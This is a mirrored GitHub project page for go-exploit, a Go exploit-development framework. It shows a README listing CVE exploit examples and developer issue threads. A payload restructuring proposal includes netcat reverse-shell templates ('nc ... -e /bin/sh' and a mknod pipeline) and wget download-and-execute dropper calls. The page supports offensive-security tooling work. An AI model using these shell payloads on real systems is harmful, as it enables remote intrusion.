Giter Site home page Giter Site logo

vulncheck-oss / go-exploit Goto Github PK

View Code? Open in Web Editor NEW
289.0 10.0 31.0 512 KB

A Go-based Exploit Framework

Home Page: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit

License: Apache License 2.0

Go 100.00%
exploit-development exploitation-framework go-exploit

go-exploit's Introduction

go-exploit: Go Exploit Framework

Go Go Report Card

go-exploit is an exploit development framework for Go. The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools. For API documentation, check out the package on pkg.go.dev/github.com/vulncheck-oss/go-exploit.

Go Exploit Phases

The Go Exploit Framework includes the following Phases which can be chained or executed independently:

Go Exploit Features

The Go Exploit Framework includes these additional features:

Examples

  • CVE-2023-22527: Three go-exploit implementations taking unique approaches to Atlassian Confluence CVE-2023-22527.
  • CVE-2023-25194: Demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka).
  • CVE-2023-46604: Demonstrates exploiting CVE-2023-46604 and using the go-exploit HTTPServeFile c2.
  • CVE-2023-36845: Scans for Juniper firewalls to determine if they are vulnerable to CVE-2023-36845.
  • CVE-2023-51467: A go-exploit implementation of CVE-2023-51467 that lands a Nashorn reverse shell.

Contributing

Community contributions in the form of issues and features are welcome. When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, provide a reasonable use case, appropriate unit tests, and ensure compliance with our .golangci.yml without generating any complaints.

Please also ensure that linting comes back clean, and all tests pass.

golangci-lint run --fix
go test ./...

License

go-exploit is licensed under the Apache License, Version 2.0. For more details, refer to the LICENSE file.

go-exploit's People

Contributors

actions-user avatar alexandear avatar dependabot[bot] avatar j-baines avatar jesusprubio avatar l0rda avatar patrickmgarrity avatar terrorbyte avatar wvu avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

go-exploit's Issues

Integer Overflow in CreateMqRemotingMessage function

Inside the CreateMqRemotingMessage function, there exists integer overflow where the value of int is casted into uint32 without any checks. This result in malformed package.

This code can trigger the integer overflow:

func main() {
        msg := strings.Repeat("A", 4_294_967_295-98) // max uint32
	rocketmq.CreateMqRemotingMessage(msg, 112, 1)
}

I have also added some fmt.Println inside the function so we can see the values.

Screenshot 2023-09-20 at 21 20 49

Running the code above, results in:

Screenshot 2023-09-20 at 21 21 23

Redefining Flags In Some C2 Configurations

I have this current c2 supported:

supportedC2 := []c2.Impl{
  c2.SSLShellServer,
  c2.SimpleShellServer,
  c2.HTTPServeShell,
}

Which causes this panic:

./build/cve-2024-4577_linux-arm64 flag redefined: sslShellServer.PrivateKeyFile
panic: ./build/cve-2024-4577_linux-arm64 flag redefined: sslShellServer.PrivateKeyFile

goroutine 1 [running]:
flag.(*FlagSet).Var(0x4000128000, {0x3d3188, 0x4000032bb0}, {0x34737d, 0x1d}, {0x34d031, 0x28})
        /usr/local/go/src/flag/flag.go:1028 +0x2cc
flag.StringVar(...)
        /usr/local/go/src/flag/flag.go:885
github.com/vulncheck-oss/go-exploit/c2/sslshell.(*Server).CreateFlags(0x4000032ba0)
        /home/albinolobster/go-exploit/c2/sslshell/sslshellserver.go:55 +0x70
github.com/vulncheck-oss/go-exploit/c2/httpserveshell.(*Server).CreateFlags(0x4000066140)

The reason is that c2.HTTPServeShell is a wrapper around c2.HTTPServeFile and c2.*ShellServer. This exploit already has an implementation of c2.SSLShellServer that invokes CreateFlags, so c2.HttpServeShell triggering it again is a no go. Simple solution is to wrap CreateFlags with a nil check.

Improve go-exploit self-documentation

Increasingly, we want to be able to sort and categorize go-exploits. There is currently no programmatic way to do this as the exploit can't really tell you anything about itself. We need to change that.

Missing Required Options Text is Wrong

./build/implant-scanner 
time=2023-10-17T08:38:32.279-04:00 level=ERROR msg="Missing required option 'rhost', 'rhosts', or 'rhostsFile'"

Should say '-rhosts-file`

Change HTTP User-Agent Mechanism

We are currently using Project Discovery's library. It's great because it provides a list of new UA everywhere including the newest UA for all/most browsers. It's not so great because it includes old UA as well (and basically we compile in this huge list every time).

A better method is to grab their list, sort for the newest Chrome for Windows, and write that to a file that is pulled in to http_helper.go (really gotta rename that) via go embed. This would also remove a bunch of go dependencies.

Add options

Maybe add a feature to add options?Example , when executing a command , can customize a option to change the executed command in code

RFC: Exploit Artifact Storage

Problem

Currently there's no formalized way to store exploit artifacts in a consistent way, and has been handled by either just printing extracted data into Success log level or by manually writing a temporary file based on the output. This has worked fine until we have needed a storage mechanism that is a bit more consistent.

Solutions

  • Use the db - Now that #177 is merged and we have a proper DB wrapper we could use what we've got and store artifacts in the database. This will require another table and a bit of schema stitching, which shouldn't be a problem. There's also other potentially useful things with this as the primary preferred way, such as keeping time based snapshots of the artifacts (ie logs captured over time from a target). One thing to keep in mind would be that sometimes accessing sqlite artifacts might not be the most ergonomic so maybe we could write some basic tooling around extracting the files based on exploit runs.
  • Add a basic handler for file writes to go-exploit - Currently we have been using a very simple write to temp file based on context, we could just easily port this to go-exploit and make it a public function for writing the files.
  • Both! - It could be possible to just have the artifact store function handle both cases and have a setting to toggle based on if db is enabled or not.

Other notes

Naming is always hard. loot isn't really very explicit but also pirates are neat. I am using artifacts in this based on prior verbiage, but could easily be switched up

Read Deadline in Protocol TCP

conn.SetReadDeadline should be moved into protocol.TCPReadAmount. Looks like our implementations are calling it outside of the function and not always using the default timeout (protocol.GlobalCommTimeout)

_ = conn.SetReadDeadline(time.Now().Add(time.Duration(protocol.GlobalCommTimeout) * time.Second))

RFC: go-exploit intercommunication

go-exploit was designed to create stand-alone scanners/exploits. This is, and always will be, an important part of go-exploit and what makes it unique. That will never change.

However.

Hypothetically, let's say an organization has hundreds of go-exploit implementations. They want to use those to scan a single HTTP server. Should those exploits send hundreds of HTTP GET requests to / or should they send one? Obviously, they should send one and share the response amongst themselves. Otherwise, they are being wildly inefficient.

So, in an ideal world, go-exploit would support a mechanism where the individual exploits could also share data between themselves. A (read: one possible) solution would be to introduce an optional parameter that takes in an sqlite database. HTTP requests that can be cached (or are asked to be cached by the dev) can be stuck in there, and the database could be passed around between exploits/scanners, and cached information can be pulled out as needed.

This isn't too dissimilar with how Nessus works. It has a sqlite(? I forget) DB that stores all sort of things (including some HTTP responses). I'd say the main difference is that they will store things as far down as "this version I extracted from the http interface of a synology dsm". That's sort of neat in that a plugin can be quickly written that basically says "Do we have the version from a synology dsm? Cool. Is it a vulnerable version?" But to actually run that plugin requires figuring out all the dependencies and it can be sort of a nightmare (which is, again, why stand-alone go-exploit shines).

I think that's a reasonable path forward. We could introduce specific HTTP functions that ask for caching (or just respect caching fields in normal responses? that sounds like a bad idea but worth looking at). The db could be used for passing around credentials, storing secrets, etc.

Rename Cron package

albinolobster@mournland:~/go-exploit$ golangci-lint run --fix
payload/cron/cron.go:10:6: exported: type name will be used as cron.CronPayload by other packages, and that stutters; consider calling this Payload (revive)
type CronPayload struct{}

golangci-lint is unhappy with the cron pcakage. I want to rename it to fileplant because the current functionality is in the realm of dll planting or binary planting. @terrorbyte pointed out it's a bit of an odd name. I don't disagree but I can't think of anything better right now.

Allow exploits to configure default flag variables

There are some situations where the default framework flags should be able to be overwritten by the exploit. Since the flag.Parse() call is done from RunProgram any flags that are set prior to that call are overwritten by the default value when called.

This arises in scenarios such as the fileplant.Cron usage which triggers every 1 minute and will almost regularly fail on timeout being reached. It would be advantageous to be able to override that setting for payloads that need strict defaults.

An example of how I solved this for one of our exploits was to check the default config.C2Timeout value at prior to Parse and either set a default or allow the overwritten value: #173

Two problems arise from this:

  1. This is only one of flags and we should enumerate and see if we should change this for other flags (see below).
  2. Default struct values are assigned by Go, which means that we are relying on that value to not be logical for validity. This is a safe assumption for things like bport and c2 timeout, since those values being 0 wouldn't make much sense, but any values where the default struct value will not work.

The exploit related flags that we should consider for this:

flag.IntVar(&conf.Bport, "bport", 0, "The port to attach the bind shell to")
flag.IntVar(&conf.C2Timeout, "t", 30, "The number of seconds to listen for reverse shells.")
flag.BoolVar(&conf.ThirdPartyC2Server, "o", false, "Indicates if the reverse shell should be caught by an outside program (nc, openssl)")
flag.StringVar(&c2Selection, "c2", c2Default, c2Available)

Based on that list I think that the C2Timeout and maybe the Bport (think of a situation where "secure" lower TCP/UDP ports are used for remote verification, a la NFS or Lustre that check that the target are listening < 1024) configurations might make sense.

Add `vhost` and `path`/`rootpath` default flags

It's come up a few times in the last few weeks where we have added flags for doing virtualhost settings in protocol or want to allow for changing of the default URI path stem. It seems sensible to probably make these default.

One potential downside is that not everything is HTTP (yet at least), so those flags might be considered nonsense in those cases... but at the same time we have user-agent flags. Probably a discussion for another time but should these be put into target classes that potentially change the default flags?

If I get a few cycles this week I will open a PR to get these in.

RFC: Payload Restructuring

Problem

Currently the go-exploit/payload package is used as a generic store for all payload related activities including:

  • Bind shells
  • Reverse shells
  • Payload encoding
  • "Minified" & unflattened payloads

With each of them having a OS indicator and multiple variants of types (Mkfifo vs Mknod). While this is functional (hey it's all just strings in the end), it does create a bit of an unclear structure and very long names such as WindowsPowershellHTTPDownloadAndExecute.

Solutions

There are multiple parts to solve this and clarify the structure while also allowing an "escape" hatch for retrieving the simple raw string for places when necessary as we all know that sometimes being very programmatic is harder than just slapping in a string.

I have come up with a couple of different potential options, the first of which is this proposal and the second is a thought on potential structure improvement:

  1. Separate the payloads into packages or specific types
  2. A builder pattern and some additions to the subpackages (Future work/discussion)

Split out the payloads by category

To first clearly simplify things I propose a payload type be defined in the subpackage types directly and with a default interface for cleaning up the function signature.

Something along the lines of:

  • go-exploit/payload/reverse
  • go-exploit/payload/bind
  • go-exploit/payload/dropper
  • go-exploit/payload/execute
  • and potentially a go-exploit/payload/other for components like the cron

Here's a bit of pseudocode for the reverse payload package to get an idea of how the pattern might work/be structured:

// inside reverse package
type Reverse interface {
	Default
}

type Default interface {}


type netcat struct{}
var Netcat = &netcat{}
var NetcatDefault = `nc %s %d -e /bin/sh`

func (nc netcat) Default(lhost string, lport int) string {
    return NetcatDefault
}

func (nc netcat) Mknod(lhost string, lport int) string {
	node := random.Randletters(3)

	return fmt.Sprintf("cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;", node, node, lhost, lport, node, node)

}

This makes the calling signature look like the following:

reverse.Netcat.Default(cfg.Lhost, cfg.Lport)
reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport)
reverse.Netcat.Unflattened(cfg.Lhost, cfg.Lport)

// for other packages
bind.Netcat.Mknod(1337)
dropper.Execute.Wget(cfg.Lhost, cfg.Lport, true, "downloadme", "/url.jsp")
dropper.Write.Wget(cfg.Lhost, cfg.Lport, true, "downloadme")

This also lets us have that "escape hatch" just to get the string without the printf being applied:

reverse.NetcatDefault
fmt.Sprintf(reverse.NetcatDefault, cfg.Lhost, cfg.Lport)

I also propose moving the IFS and Brace payload encoders to go-exploit/transform or if we want to eventually create a Payload type to move them to a go-exploit/payload/transform package.

Potential Issues

  • OS specific payloads do not fit cleanly - The commands that have Linux or Windows prefixes will lack clarity and either need to keep the prefix or another additional type will need to be set up for allowing definition of which OS
  • The empty struct and var Netcat = &netcat{} feels like a weird pattern, but lets us call the functions defined on the empty struct. Maybe we could also do something like add the default value to that struct and make it accessible that way?
  • Keeping backwards compat/ensuring that payloads are generated the same for existing exploits is something that should be considered.
  • Test cases might be possible and even "unsafe" tests to generate actual payload testing harnesses and automatically validate against configurations in CI.

Future Ideas: Interface with Builder Pattern

In the future we could also work towards a builder pattern using the above layout, if it were to make sense. This would be done by defining an overarching Payload type and then a simple builder pattern with an interface. The way this would be used would allow for chaining of payload functions directly in single line:

Builder Pattern Ideas
var payload := payload.New()
// Create a netcat payload
payloadGen := payload.Technique(reverse.Netcat.Default()).String()
var payload := payload.New()
// Or create a netcat payload with the mknod variant and base64 encode it
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Encode(encoders.Base64URL).String()
var payload := payload.New()
// Or create a bash payload with the mknod variant and base64 encode it
// define a `func StripFirstSpace(string) string`
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Modify(StripFirstSpace(payload.String()).String()

This is a non-working little example of how that pattern might be dfined.

type Payload {
  current string
  technique payload.Technique
  platform platform.Platform
  variants string
  arch arch.Arch
}

type Technique interface {
  Default  
}

type PayloadBuilder interface {
  String() string
  Technique(payload.Technique) Payload
  Platform(platform.Platform) Payload
  Arch(arch.Arch) Payload
  Encode(encoders.Encoder) Payload
  // Maybe use a intereface and allow it access to itself?
  Modify(func(string) string) Payload
}

type payloadBuilder struct {
  payload *Payload
}

func New() PayloadBuilder {
  return &payloadBuilder{
    payload: &Payload{},
  }
}

func (payload *payloadBuilder) String() string {
  return payload.current
} 

func (payload *payloadBuilder) Technique(technique payload.Technique) PayloadBuilder {
  if variant == "" {
    payload.current = technique.default
  } else {
    payload.current = technique.Variants()[variant]
  }
  // Also set all the default values for a specific OS/Arch/Method/etc is possible
  // ie bash can set platform.UnixGeneric and arch.Generic
  // Which of course would be "impure" with side effects, but it seems more usable, would just be worth calling out that order would matter a bit
  return payload
}

// ... etc ...

A few other benefits to this would be that we could add debugger steps to the builder components to make it clear how the string is being built by outputting before/after of current.

Local Exploit Type

go-exploit currently doesn't support a local exploit type, but the time has come.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.